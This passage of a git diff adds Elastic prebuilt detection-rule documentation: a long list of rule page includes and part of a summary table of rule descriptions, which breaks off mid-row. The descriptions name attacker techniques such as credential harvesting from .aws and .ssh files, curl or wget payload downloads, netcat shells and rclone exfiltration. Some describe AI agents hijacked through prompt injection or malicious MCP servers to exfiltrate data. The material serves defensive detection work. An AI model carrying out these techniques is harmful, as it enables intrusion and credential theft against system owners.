+include::prebuilt-rule-8-19-34-file-with-right-to-left-override-character-rtlo-created-executed.asciidoc[] +include::prebuilt-rule-8-19-34-alternate-data-stream-creation-execution-at-volume-root-directory.asciidoc[] +include::prebuilt-rule-8-19-34-windows-sandbox-with-sensitive-configuration.asciidoc[] +include::prebuilt-rule-8-19-34-unusual-child-processes-of-rundll32.asciidoc[] +include::prebuilt-rule-8-19-34-service-dacl-modification-via-sc-exe.asciidoc[] +include::prebuilt-rule-8-19-34-potential-windows-session-hijacking-via-ccmexec.asciidoc[] +include::prebuilt-rule-8-19-34-scheduled-tasks-at-command-enabled.asciidoc[] +include::prebuilt-rule-8-19-34-script-execution-via-microsoft-html-application.asciidoc[] +include::prebuilt-rule-8-19-34-potential-secure-file-deletion-via-sdelete-utility.asciidoc[] +include::prebuilt-rule-8-19-34-sip-provider-modification.asciidoc[] +include::prebuilt-rule-8-19-34-solarwinds-process-disabling-services-via-registry.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-certutil-commands.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-execution-from-a-mounted-device.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-managed-code-hosting-process.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-process-access-via-direct-system-call.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-process-creation-calltrace.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-script-object-execution.asciidoc[] +include::prebuilt-rule-8-19-34-renamed-utility-executed-with-short-program-name.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-wmic-xsl-script-execution.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-zoom-child-process.asciidoc[] +include::prebuilt-rule-8-19-34-unusual-executable-file-creation-by-a-system-critical-process.asciidoc[] +include::prebuilt-rule-8-19-34-potential-timestomp-in-executable-files.asciidoc[] +include::prebuilt-rule-8-19-34-unsigned-dll-side-loading-from-a-suspicious-folder.asciidoc[] +include::prebuilt-rule-8-19-34-untrusted-driver-loaded.asciidoc[] +include::prebuilt-rule-8-19-34-unusual-file-creation-alternate-data-stream.asciidoc[] +include::prebuilt-rule-8-19-34-unusual-process-execution-path-alternate-data-stream.asciidoc[] +include::prebuilt-rule-8-19-34-unusual-network-connection-via-dllhost.asciidoc[] +include::prebuilt-rule-8-19-34-unusual-network-connection-via-rundll32.asciidoc[] +include::prebuilt-rule-8-19-34-unusual-process-network-connection.asciidoc[] +include::prebuilt-rule-8-19-34-unusual-child-process-from-a-system-virtual-process.asciidoc[] +include::prebuilt-rule-8-19-34-potential-evasion-via-filter-manager.asciidoc[] +include::prebuilt-rule-8-19-34-wdac-policy-file-by-an-unusual-process.asciidoc[] +include::prebuilt-rule-8-19-34-potential-evasion-via-windows-filtering-platform.asciidoc[] +include::prebuilt-rule-8-19-34-signed-proxy-execution-via-ms-work-folders.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-execution-via-windows-subsystem-for-linux.asciidoc[] +include::prebuilt-rule-8-19-34-execution-via-windows-subsystem-for-linux.asciidoc[] +include::prebuilt-rule-8-19-34-windows-subsystem-for-linux-enabled-via-dism-utility.asciidoc[] +include::prebuilt-rule-8-19-34-host-file-system-changes-via-windows-subsystem-for-linux.asciidoc[] +include::prebuilt-rule-8-19-34-attempt-to-install-or-run-kali-linux-via-wsl.asciidoc[] +include::prebuilt-rule-8-19-34-windows-subsystem-for-linux-distribution-installed.asciidoc[] +include::prebuilt-rule-8-19-34-potential-enumeration-via-active-directory-web-service.asciidoc[] +include::prebuilt-rule-8-19-34-active-directory-discovery-using-adexplorer.asciidoc[] +include::prebuilt-rule-8-19-34-adfind-command-activity.asciidoc[] +include::prebuilt-rule-8-19-34-enumeration-of-administrator-accounts.asciidoc[] +include::prebuilt-rule-8-19-34-account-discovery-command-via-system-account.asciidoc[] +include::prebuilt-rule-8-19-34-enumerating-domain-trusts-via-dsquery-exe.asciidoc[] +include::prebuilt-rule-8-19-34-enumerating-domain-trusts-via-nltest-exe.asciidoc[] +include::prebuilt-rule-8-19-34-group-policy-discovery-via-microsoft-gpresult-utility.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-access-to-ldap-attributes.asciidoc[] +include::prebuilt-rule-8-19-34-system-public-ip-discovery-via-dns-query.asciidoc[] +include::prebuilt-rule-8-19-34-peripheral-device-discovery.asciidoc[] +include::prebuilt-rule-8-19-34-powershell-share-enumeration-script.asciidoc[] +include::prebuilt-rule-8-19-34-powershell-suspicious-discovery-related-windows-api-functions.asciidoc[] +include::prebuilt-rule-8-19-34-enumeration-of-privileged-local-groups-membership.asciidoc[] +include::prebuilt-rule-8-19-34-unusual-discovery-signal-alert-with-unusual-process-executable.asciidoc[] +include::prebuilt-rule-8-19-34-whoami-process-activity.asciidoc[] +include::prebuilt-rule-8-19-34-command-execution-via-solarwinds-process.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-solarwinds-child-process.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-child-process-via-azure-vm-customscript-extension.asciidoc[] +include::prebuilt-rule-8-19-34-execution-of-com-object-via-xwizard.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-command-prompt-network-connection.asciidoc[] +include::prebuilt-rule-8-19-34-svchost-spawning-cmd.asciidoc[] +include::prebuilt-rule-8-19-34-unusual-parent-process-for-cmd-exe.asciidoc[] +include::prebuilt-rule-8-19-34-command-shell-activity-started-via-rundll32.asciidoc[] +include::prebuilt-rule-8-19-34-delayed-execution-via-ping.asciidoc[] +include::prebuilt-rule-8-19-34-downloaded-shortcut-files.asciidoc[] +include::prebuilt-rule-8-19-34-downloaded-url-files.asciidoc[] +include::prebuilt-rule-8-19-34-enumeration-command-spawned-via-wmiprvse.asciidoc[] +include::prebuilt-rule-8-19-34-execution-from-unusual-directory-command-line.asciidoc[] +include::prebuilt-rule-8-19-34-network-connection-via-compiled-html-file.asciidoc[] +include::prebuilt-rule-8-19-34-potential-foxmail-exploitation.asciidoc[] +include::prebuilt-rule-8-19-34-unusual-execution-via-microsoft-common-console-file.asciidoc[] +include::prebuilt-rule-8-19-34-wps-office-exploitation-via-dll-hijack.asciidoc[] +include::prebuilt-rule-8-19-34-java-dropped-and-executed-with-dns-lookup.asciidoc[] +include::prebuilt-rule-8-19-34-mofcomp-activity.asciidoc[] +include::prebuilt-rule-8-19-34-execution-of-file-written-or-modified-by-microsoft-office.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-execution-with-nodejs.asciidoc[] +include::prebuilt-rule-8-19-34-potential-notepad-markdown-rce-exploitation.asciidoc[] +include::prebuilt-rule-8-19-34-potential-powershell-hacktool-script-by-author.asciidoc[] +include::prebuilt-rule-8-19-34-potential-powershell-hacktool-script-by-function-names.asciidoc[] +include::prebuilt-rule-8-19-34-potential-malicious-powershell-based-on-alert-correlation.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-portable-executable-encoded-in-powershell-script.asciidoc[] +include::prebuilt-rule-8-19-34-powershell-psreflect-script.asciidoc[] +include::prebuilt-rule-8-19-34-command-and-scripting-interpreter-via-windows-scripts.asciidoc[] +include::prebuilt-rule-8-19-34-psexec-network-connection.asciidoc[] +include::prebuilt-rule-8-19-34-network-connection-via-registration-utility.asciidoc[] +include::prebuilt-rule-8-19-34-potential-command-shell-via-netcat.asciidoc[] +include::prebuilt-rule-8-19-34-outbound-scheduled-task-activity-via-powershell.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-execution-from-a-webdav-share.asciidoc[] +include::prebuilt-rule-8-19-34-windows-script-execution-from-archive.asciidoc[] +include::prebuilt-rule-8-19-34-execution-via-local-sxs-shared-module.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-javascript-execution-via-deno.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-cmd-execution-via-wmi.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-wmi-image-load-from-ms-office.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-pdf-reader-child-process.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-powershell-engine-imageload.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-process-execution-via-renamed-psexec-executable.asciidoc[] +include::prebuilt-rule-8-19-34-process-activity-via-compiled-html-file.asciidoc[] +include::prebuilt-rule-8-19-34-conhost-spawned-by-suspicious-parent-process.asciidoc[] +include::prebuilt-rule-8-19-34-microsoft-management-console-file-from-unusual-path.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-windows-command-shell-arguments.asciidoc[] +include::prebuilt-rule-8-19-34-potential-fake-captcha-phishing-attack.asciidoc[] +include::prebuilt-rule-8-19-34-potential-execution-via-filefix-phishing-attack.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-windows-powershell-arguments.asciidoc[] +include::prebuilt-rule-8-19-34-azcopy-or-azure-storage-explorer-usage-on-unusual-host.asciidoc[] +include::prebuilt-rule-8-19-34-potential-dns-exfiltration-via-excessive-chunked-queries.asciidoc[] +include::prebuilt-rule-8-19-34-potential-data-exfiltration-via-rclone.asciidoc[] +include::prebuilt-rule-8-19-34-rare-smb-connection-to-the-internet.asciidoc[] +include::prebuilt-rule-8-19-34-third-party-backup-files-deleted-via-unexpected-process.asciidoc[] +include::prebuilt-rule-8-19-34-backup-deletion-with-wbadmin.asciidoc[] +include::prebuilt-rule-8-19-34-potential-ransomware-behavior-note-files-by-system.asciidoc[] +include::prebuilt-rule-8-19-34-potential-system-tampering-via-file-modification.asciidoc[] +include::prebuilt-rule-8-19-34-modification-of-boot-configuration.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-file-renamed-via-smb.asciidoc[] +include::prebuilt-rule-8-19-34-potential-ransomware-note-file-dropped-via-smb.asciidoc[] +include::prebuilt-rule-8-19-34-high-number-of-process-and-or-service-terminations.asciidoc[] +include::prebuilt-rule-8-19-34-volume-shadow-copy-deleted-or-resized-via-vssadmin.asciidoc[] +include::prebuilt-rule-8-19-34-volume-shadow-copy-deletion-via-powershell.asciidoc[] +include::prebuilt-rule-8-19-34-volume-shadow-copy-deletion-via-wmic.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-html-file-creation.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-execution-from-inet-cache.asciidoc[] +include::prebuilt-rule-8-19-34-execution-from-a-removable-media-with-network-connection.asciidoc[] +include::prebuilt-rule-8-19-34-potential-remote-file-execution-via-msiexec.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-execution-via-microsoft-office-add-ins.asciidoc[] +include::prebuilt-rule-8-19-34-first-time-seen-removable-device.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-jetbrains-teamcity-child-process.asciidoc[] +include::prebuilt-rule-8-19-34-potential-sql-injection-against-microsoft-sql-server.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-child-process-of-papercut-server-component.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-solarwinds-web-help-desk-java-module-load-or-child-process.asciidoc[] +include::prebuilt-rule-8-19-34-remote-desktop-file-opened-from-suspicious-path.asciidoc[] +include::prebuilt-rule-8-19-34-windows-script-executing-powershell.asciidoc[] +include::prebuilt-rule-8-19-34-windows-script-interpreter-executing-process-via-wmi.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-execution-from-vs-code-extension.asciidoc[] +include::prebuilt-rule-8-19-34-microsoft-exchange-server-um-writing-suspicious-files.asciidoc[] +include::prebuilt-rule-8-19-34-microsoft-exchange-server-um-spawning-suspicious-processes.asciidoc[] +include::prebuilt-rule-8-19-34-microsoft-exchange-worker-spawning-suspicious-processes.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-ms-office-child-process.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-ms-outlook-child-process.asciidoc[] +include::prebuilt-rule-8-19-34-windows-server-update-service-spawning-suspicious-processes.asciidoc[] +include::prebuilt-rule-8-19-34-potential-cve-2025-33053-exploitation.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-explorer-child-process.asciidoc[] +include::prebuilt-rule-8-19-34-screenconnect-server-spawning-suspicious-processes.asciidoc[] +include::prebuilt-rule-8-19-34-remote-xsl-script-execution-via-com.asciidoc[] +include::prebuilt-rule-8-19-34-potential-pass-the-hash-pth-attempt.asciidoc[] +include::prebuilt-rule-8-19-34-service-command-lateral-movement.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-kerberos-authentication-ticket-request.asciidoc[] +include::prebuilt-rule-8-19-34-incoming-dcom-lateral-movement-via-mshta.asciidoc[] +include::prebuilt-rule-8-19-34-incoming-dcom-lateral-movement-with-mmc.asciidoc[] +include::prebuilt-rule-8-19-34-incoming-dcom-lateral-movement-with-shellbrowserwindow-or-shellwindows.asciidoc[] +include::prebuilt-rule-8-19-34-nullsessionpipe-registry-modification.asciidoc[] +include::prebuilt-rule-8-19-34-smb-connections-via-lolbin-or-untrusted-process.asciidoc[] +include::prebuilt-rule-8-19-34-potential-remote-desktop-shadowing-activity.asciidoc[] +include::prebuilt-rule-8-19-34-potential-lateral-tool-transfer-via-smb-share.asciidoc[] +include::prebuilt-rule-8-19-34-execution-via-tsclient-mountpoint.asciidoc[] +include::prebuilt-rule-8-19-34-remote-execution-via-file-shares.asciidoc[] +include::prebuilt-rule-8-19-34-incoming-execution-via-winrm-remote-shell.asciidoc[] +include::prebuilt-rule-8-19-34-wmi-incoming-lateral-movement.asciidoc[] +include::prebuilt-rule-8-19-34-mounting-hidden-or-webdav-remote-shares.asciidoc[] +include::prebuilt-rule-8-19-34-incoming-execution-via-powershell-remoting.asciidoc[] +include::prebuilt-rule-8-19-34-rdp-enabled-via-registry.asciidoc[] +include::prebuilt-rule-8-19-34-potential-sharprdp-behavior.asciidoc[] +include::prebuilt-rule-8-19-34-remote-file-copy-to-a-hidden-share.asciidoc[] +include::prebuilt-rule-8-19-34-remote-windows-service-installed.asciidoc[] +include::prebuilt-rule-8-19-34-remotely-started-services-via-rpc.asciidoc[] +include::prebuilt-rule-8-19-34-remote-scheduled-task-creation-via-rpc.asciidoc[] +include::prebuilt-rule-8-19-34-remote-scheduled-task-creation.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-rdp-activex-client-loaded.asciidoc[] +include::prebuilt-rule-8-19-34-unusual-child-process-of-dns-exe.asciidoc[] +include::prebuilt-rule-8-19-34-unusual-file-operation-by-dns-exe.asciidoc[] +include::prebuilt-rule-8-19-34-lateral-movement-via-startup-folder.asciidoc[] +include::prebuilt-rule-8-19-34-potential-wsus-abuse-for-lateral-movement.asciidoc[] +include::prebuilt-rule-8-19-34-adminsdholder-backdoor.asciidoc[] +include::prebuilt-rule-8-19-34-installation-of-custom-shim-databases.asciidoc[] +include::prebuilt-rule-8-19-34-registry-persistence-via-appcert-dll.asciidoc[] +include::prebuilt-rule-8-19-34-registry-persistence-via-appinit-dll.asciidoc[] +include::prebuilt-rule-8-19-34-browser-extension-install.asciidoc[] +include::prebuilt-rule-8-19-34-account-configured-with-never-expiring-password.asciidoc[] +include::prebuilt-rule-8-19-34-creation-of-a-hidden-local-user-account.asciidoc[] +include::prebuilt-rule-8-19-34-image-file-execution-options-injection.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-startup-shell-folder-modification.asciidoc[] +include::prebuilt-rule-8-19-34-active-directory-group-modification-by-system.asciidoc[] +include::prebuilt-rule-8-19-34-persistence-via-scheduled-job-creation.asciidoc[] +include::prebuilt-rule-8-19-34-local-scheduled-task-creation.asciidoc[] +include::prebuilt-rule-8-19-34-scheduled-task-created-by-a-windows-script.asciidoc[] +include::prebuilt-rule-8-19-34-persistence-via-microsoft-office-addins.asciidoc[] +include::prebuilt-rule-8-19-34-persistence-via-microsoft-outlook-vba.asciidoc[] +include::prebuilt-rule-8-19-34-krbtgt-delegation-backdoor.asciidoc[] +include::prebuilt-rule-8-19-34-persistence-via-a-windows-installer.asciidoc[] +include::prebuilt-rule-8-19-34-office-test-registry-persistence.asciidoc[] +include::prebuilt-rule-8-19-34-netsh-helper-dll.asciidoc[] +include::prebuilt-rule-8-19-34-new-activesyncalloweddeviceid-added-via-powershell.asciidoc[] +include::prebuilt-rule-8-19-34-persistence-via-powershell-profile.asciidoc[] +include::prebuilt-rule-8-19-34-potential-modification-of-accessibility-binaries.asciidoc[] +include::prebuilt-rule-8-19-34-uncommon-registry-persistence-change.asciidoc[] +include::prebuilt-rule-8-19-34-account-password-reset-remotely.asciidoc[] +include::prebuilt-rule-8-19-34-startup-or-run-key-registry-modification.asciidoc[] +include::prebuilt-rule-8-19-34-execution-of-persistent-suspicious-program.asciidoc[] +include::prebuilt-rule-8-19-34-a-scheduled-task-was-created.asciidoc[] +include::prebuilt-rule-8-19-34-unusual-scheduled-task-update.asciidoc[] +include::prebuilt-rule-8-19-34-adminsdholder-sdprop-exclusion-added.asciidoc[] +include::prebuilt-rule-8-19-34-unsigned-dll-loaded-by-svchost.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-service-was-installed-in-the-system.asciidoc[] +include::prebuilt-rule-8-19-34-unusual-persistence-via-services-registry.asciidoc[] +include::prebuilt-rule-8-19-34-startup-persistence-by-a-suspicious-process.asciidoc[] +include::prebuilt-rule-8-19-34-startup-folder-persistence-via-unsigned-process.asciidoc[] +include::prebuilt-rule-8-19-34-persistent-scripts-in-the-startup-directory.asciidoc[] +include::prebuilt-rule-8-19-34-component-object-model-hijacking.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-image-load-taskschd-dll-from-ms-office.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-execution-via-scheduled-task.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-imagepath-service-creation.asciidoc[] +include::prebuilt-rule-8-19-34-potential-persistence-via-mandatory-user-profile.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-wmi-event-subscription-created.asciidoc[] +include::prebuilt-rule-8-19-34-system-shells-via-services.asciidoc[] +include::prebuilt-rule-8-19-34-temporarily-scheduled-task-creation.asciidoc[] +include::prebuilt-rule-8-19-34-potential-persistence-via-time-provider-modification.asciidoc[] +include::prebuilt-rule-8-19-34-user-added-to-privileged-group-in-active-directory.asciidoc[] +include::prebuilt-rule-8-19-34-user-account-creation.asciidoc[] +include::prebuilt-rule-8-19-34-potential-application-shimming-via-sdbinst.asciidoc[] +include::prebuilt-rule-8-19-34-persistence-via-bits-job-notify-cmdline.asciidoc[] +include::prebuilt-rule-8-19-34-persistence-via-hidden-run-key-detected.asciidoc[] +include::prebuilt-rule-8-19-34-installation-of-security-support-provider.asciidoc[] +include::prebuilt-rule-8-19-34-persistence-via-telemetrycontroller-scheduled-task-hijack.asciidoc[] +include::prebuilt-rule-8-19-34-persistence-via-update-orchestrator-service-hijack.asciidoc[] +include::prebuilt-rule-8-19-34-persistence-via-wmi-event-subscription.asciidoc[] +include::prebuilt-rule-8-19-34-persistence-via-wmi-standard-registry-provider.asciidoc[] +include::prebuilt-rule-8-19-34-execution-via-mssql-xp-cmdshell-stored-procedure.asciidoc[] +include::prebuilt-rule-8-19-34-potential-iis-web-shell-file-creation.asciidoc[] +include::prebuilt-rule-8-19-34-web-shell-detection-script-process-child-of-common-web-processes.asciidoc[] +include::prebuilt-rule-8-19-34-werfault-reflectdebugger-persistence.asciidoc[] +include::prebuilt-rule-8-19-34-potential-account-takeover-mixed-logon-types.asciidoc[] +include::prebuilt-rule-8-19-34-delegated-managed-service-account-modification-by-an-unusual-user.asciidoc[] +include::prebuilt-rule-8-19-34-process-creation-via-secondary-logon.asciidoc[] +include::prebuilt-rule-8-19-34-process-created-with-a-duplicated-token.asciidoc[] +include::prebuilt-rule-8-19-34-modification-of-the-mspkiaccountcredentials.asciidoc[] +include::prebuilt-rule-8-19-34-disabling-user-account-control-via-registry-modification.asciidoc[] +include::prebuilt-rule-8-19-34-dmsa-account-creation-by-an-unusual-user.asciidoc[] +include::prebuilt-rule-8-19-34-unsigned-dll-loaded-by-dns-service.asciidoc[] +include::prebuilt-rule-8-19-34-first-time-seen-driver-loaded.asciidoc[] +include::prebuilt-rule-8-19-34-expired-or-revoked-driver-loaded.asciidoc[] +include::prebuilt-rule-8-19-34-potential-privilege-escalation-via-cve-2022-38028.asciidoc[] +include::prebuilt-rule-8-19-34-creation-or-modification-of-a-new-gpo-scheduled-task-or-service.asciidoc[] +include::prebuilt-rule-8-19-34-startup-logon-script-added-to-group-policy-object.asciidoc[] +include::prebuilt-rule-8-19-34-group-policy-abuse-for-privilege-addition.asciidoc[] +include::prebuilt-rule-8-19-34-scheduled-task-execution-at-scale-via-gpo.asciidoc[] +include::prebuilt-rule-8-19-34-potential-privilege-escalation-via-installerfiletakeover.asciidoc[] +include::prebuilt-rule-8-19-34-service-creation-via-local-kerberos-authentication.asciidoc[] +include::prebuilt-rule-8-19-34-potential-lsa-authentication-package-abuse.asciidoc[] +include::prebuilt-rule-8-19-34-interactive-logon-by-an-unusual-process.asciidoc[] +include::prebuilt-rule-8-19-34-potential-escalation-via-vulnerable-msi-repair.asciidoc[] +include::prebuilt-rule-8-19-34-privilege-escalation-via-named-pipe-impersonation.asciidoc[] +include::prebuilt-rule-8-19-34-first-time-seen-newcredentials-logon-process.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-dll-loaded-for-persistence-or-privilege-escalation.asciidoc[] +include::prebuilt-rule-8-19-34-potential-port-monitor-or-print-processor-registration-abuse.asciidoc[] +include::prebuilt-rule-8-19-34-powershell-script-with-token-impersonation-capabilities.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-print-spooler-point-and-print-dll.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-print-spooler-file-deletion.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-print-spooler-spl-file-created.asciidoc[] +include::prebuilt-rule-8-19-34-potential-privilege-escalation-via-service-imagepath-modification.asciidoc[] +include::prebuilt-rule-8-19-34-privilege-escalation-via-windir-environment-variable.asciidoc[] +include::prebuilt-rule-8-19-34-potential-privileged-escalation-via-samaccountname-spoofing.asciidoc[] +include::prebuilt-rule-8-19-34-service-control-spawned-via-script-interpreter.asciidoc[] +include::prebuilt-rule-8-19-34-remote-computer-account-dnshostname-update.asciidoc[] +include::prebuilt-rule-8-19-34-potential-account-takeover-logon-from-new-source-ip.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-seincreasebasepriorityprivilege-use.asciidoc[] +include::prebuilt-rule-8-19-34-sedebugprivilege-enabled-by-a-suspicious-process.asciidoc[] +include::prebuilt-rule-8-19-34-uac-bypass-attempt-with-ieditionupgrademanager-elevated-com-interface.asciidoc[] +include::prebuilt-rule-8-19-34-uac-bypass-attempt-via-elevated-com-internet-explorer-add-on-installer.asciidoc[] +include::prebuilt-rule-8-19-34-uac-bypass-via-icmluautil-elevated-com-interface.asciidoc[] +include::prebuilt-rule-8-19-34-uac-bypass-via-diskcleanup-scheduled-task-hijack.asciidoc[] +include::prebuilt-rule-8-19-34-uac-bypass-attempt-via-privileged-ifileoperation-com-interface.asciidoc[] +include::prebuilt-rule-8-19-34-bypass-uac-via-event-viewer.asciidoc[] +include::prebuilt-rule-8-19-34-uac-bypass-attempt-via-windows-directory-masquerading.asciidoc[] +include::prebuilt-rule-8-19-34-uac-bypass-via-windows-firewall-snap-in-hijack.asciidoc[] +include::prebuilt-rule-8-19-34-potential-exploitation-of-an-unquoted-service-path-vulnerability.asciidoc[] +include::prebuilt-rule-8-19-34-unusual-parent-child-relationship.asciidoc[] +include::prebuilt-rule-8-19-34-unusual-print-spooler-child-process.asciidoc[] +include::prebuilt-rule-8-19-34-unusual-service-host-child-process-childless-service.asciidoc[] +include::prebuilt-rule-8-19-34-privileges-elevation-via-parent-process-pid-spoofing.asciidoc[] +include::prebuilt-rule-8-19-34-privilege-escalation-via-rogue-named-pipe-impersonation.asciidoc[] +include::prebuilt-rule-8-19-34-process-created-with-an-elevated-token.asciidoc[] +include::prebuilt-rule-8-19-34-windows-service-installed-via-an-unusual-client.asciidoc[] diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rules-8-19-34-summary.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rules-8-19-34-summary.asciidoc new file mode 100644 index 0000000000..c030ddfa0c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rules-8-19-34-summary.asciidoc @@ -0,0 +1,3566 @@ +[[prebuilt-rule-8-19-34-prebuilt-rules-8-19-34-summary]] +[role="xpack"] +== Update v8.19.34 + +This section lists all updates associated with version 8.19.34 of the Fleet integration *Prebuilt Security Detection Rules*. + + +[width="100%",options="header"] +|============================================== +|Rule |Description |Status |Version + +|<> | A POST request to a web application returned a 403 response, which indicates the web application declined to process the request because the action requested was not allowed. | update | 107 + +|<> | A request to a web application returned a 405 response, which indicates the web application declined to process the request because the HTTP method is not allowed for the resource. | update | 107 + +|<> | This is an example of how to detect an unwanted web client user agent. This search matches the user agent for sqlmap 1.3.11, which is a popular FOSS tool for testing web applications for SQL injection vulnerabilities. | update | 106 + +|<> | Identifies DNS queries to known Large Language Model domains by unsigned binaries or common Windows scripting utilities. Malwares may leverage the capabilities of LLM to perform actions in the affected system in a dynamic way. | update | 7 + +|<> | This rule detects when Node.js, directly or via a shell, spawns the curl or wget command. This may indicate command and control behavior. Adversaries may use Node.js to download additional tools or payloads onto the system. | update | 7 + +|<> | Detects when GenAI tools connect to domains using suspicious TLDs commonly abused for malware C2 infrastructure. TLDs like .top, .xyz, .ml, .cf, .onion are frequently used in phishing and malware campaigns. Legitimate GenAI services use well-established domains (.com, .ai, .io), so connections to suspicious TLDs may indicate compromised tools, malicious plugins, or AI-generated code connecting to attacker infrastructure. | update | 2 + +|<> | Detects GenAI tools connecting to unusual domains on macOS. Adversaries may compromise GenAI tools through prompt injection, malicious MCP servers, or poisoned plugins to establish C2 channels or exfiltrate sensitive data to attacker-controlled infrastructure. AI agents with network access can be manipulated to beacon to external servers, download malicious payloads, or transmit harvested credentials and documents. | update | 7 + +|<> | Identifies suspicious file download activity from a Google Drive URL. This could indicate an attempt to deliver phishing payloads via a trusted webservice. | update | 10 + +|<> | This detection correlates Palo Alto Networks (PANW) command and control events with Elastic Defend network events to identify the source process performing the network activity. | update | 3 + +|<> | This detection correlates FortiGate's application control SOCKS events with Elastic Defend network event to identify the source process performing SOCKS traffic. Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. | update | 4 + +|<> | This detection correlates Suricata alerts with Elastic Defend network events to identify the source process performing the network activity. | update | 6 + +|<> | Identifies the use of the QEMU hardware emulator to potentially tunnel network traffic between Virtual machines. This can be used by attackers to enable routing of network packets that would otherwise not reach their intended destination. | update | 4 + +|<> | Identifies the use of Tailscaled to potentially tunnel network traffic. This can be used by attackers to enable routing of network packets that would otherwise not reach their intended destination, or to bypass network restrictions and/or hide traffic from network monitoring. | update | 2 + +|<> | Identifies shells, LOLBins, GTFOBins, and scripting runtimes connecting to the Azure WireServer / HostGAPlugin address 168.63.129.16 on ports 80 or 32526. The guest agent uses this fabric endpoint for GoalState, certificates, and vmSettings. Adversaries with code execution on an Azure VM (including via Run Command) use curl, PowerShell, openssl, bun, or similar tools to enumerate versions, pull transport certificates, and read HostGAPlugin /vmSettings. Azure guest-agent binaries and system python used by waagent are excluded. Descendants of the guest agent are not excluded: Run Command payloads execute in that tree. | update | 2 + +|<> | Identifies the execution of a Chromium based browser with the debugging process argument, which may indicate an attempt to steal authentication cookies. An adversary may steal web application or service session cookies and use them to gain access web applications or Internet services as an authenticated user without needing credentials. | update | 212 + +|<> | Identifies a potential forced authentication using related SMB named pipes. Attackers may attempt to force targets to authenticate to a host controlled by them to capture hashes or enable relay attacks. | update | 8 + +|<> | Detects when GenAI tools access sensitive files such as cloud credentials, SSH keys, browser password databases, or shell configurations. Attackers leverage GenAI agents to systematically locate and exfiltrate credentials, API keys, and tokens. Access to credential stores (.aws/credentials, .ssh/id_*) suggests harvesting, while writes to shell configs (.bashrc, .zshrc) indicate persistence attempts. Note: On linux only creation events are available. Access events are not yet implemented. | update | 9 + +|<> | This rule detects the execution of Gitleaks, a tool used to search for high-entropy strings and secrets in code repositories, which may indicate an attempt to access credentials. | update | 4 + +|<> | Identifies recursive grep activity on Linux or macOS where the command line suggests hunting for secrets, credentials, keys, tokens, or sensitive paths (for example .env, .git, .aws). Events are aggregated per host, user, parent process, and one-minute window, the rule surfaces activity only when at least three distinct grep command lines match in the same bucket, to reduce noise from one-off searches. | update | 2 + +|<> | Correlates process telemetry for shells and major cloud/Kubernetes CLIs when command lines match token or credential material access patterns (GCP, Azure, AWS, GitHub, kubectl, DigitalOcean, OCI). Flags hosts where multiple cloud targets appear within a five-minute window. | update | 2 + +|<> | This rule detects authenticated sessions accessing secret stores across multiple environments from the same source address within a short period of time, including cloud providers (AWS, GCP, Azure) and Kubernetes clusters. Adversaries with access to compromised credentials or session tokens may attempt to retrieve secrets from services such as AWS Secrets Manager, Google Secret Manager, Azure Key Vault, or Kubernetes Secrets in rapid succession to expand their access or exfiltrate sensitive information. | update | 7 + +|<> | This rule identifies various tools/scripts performing command line execution attempting to access the cloud service provider's instance metadata service (IMDS) API endpoint, which can be used to retrieve sensitive instance-specific information such as instance ID, public IP address, and even temporary security credentials if roles are assumed by that instance. | update | 10 + +|<> | This rule identifies various tools/scripts performing network activities attempting to access the cloud service provider's instance metadata service (IMDS) API endpoint, which can be used to retrieve sensitive instance-specific information such as instance ID, public IP address, and even temporary security credentials if roles are assumed by that instance. | update | 2 + +|<> | This rule detects the execution of TruffleHog, a tool used to search for high-entropy strings and secrets in code repositories, which may indicate an attempt to access credentials. This tool was abused by the Shai-Hulud worm to search for credentials in code repositories. | update | 5 + +|<> | 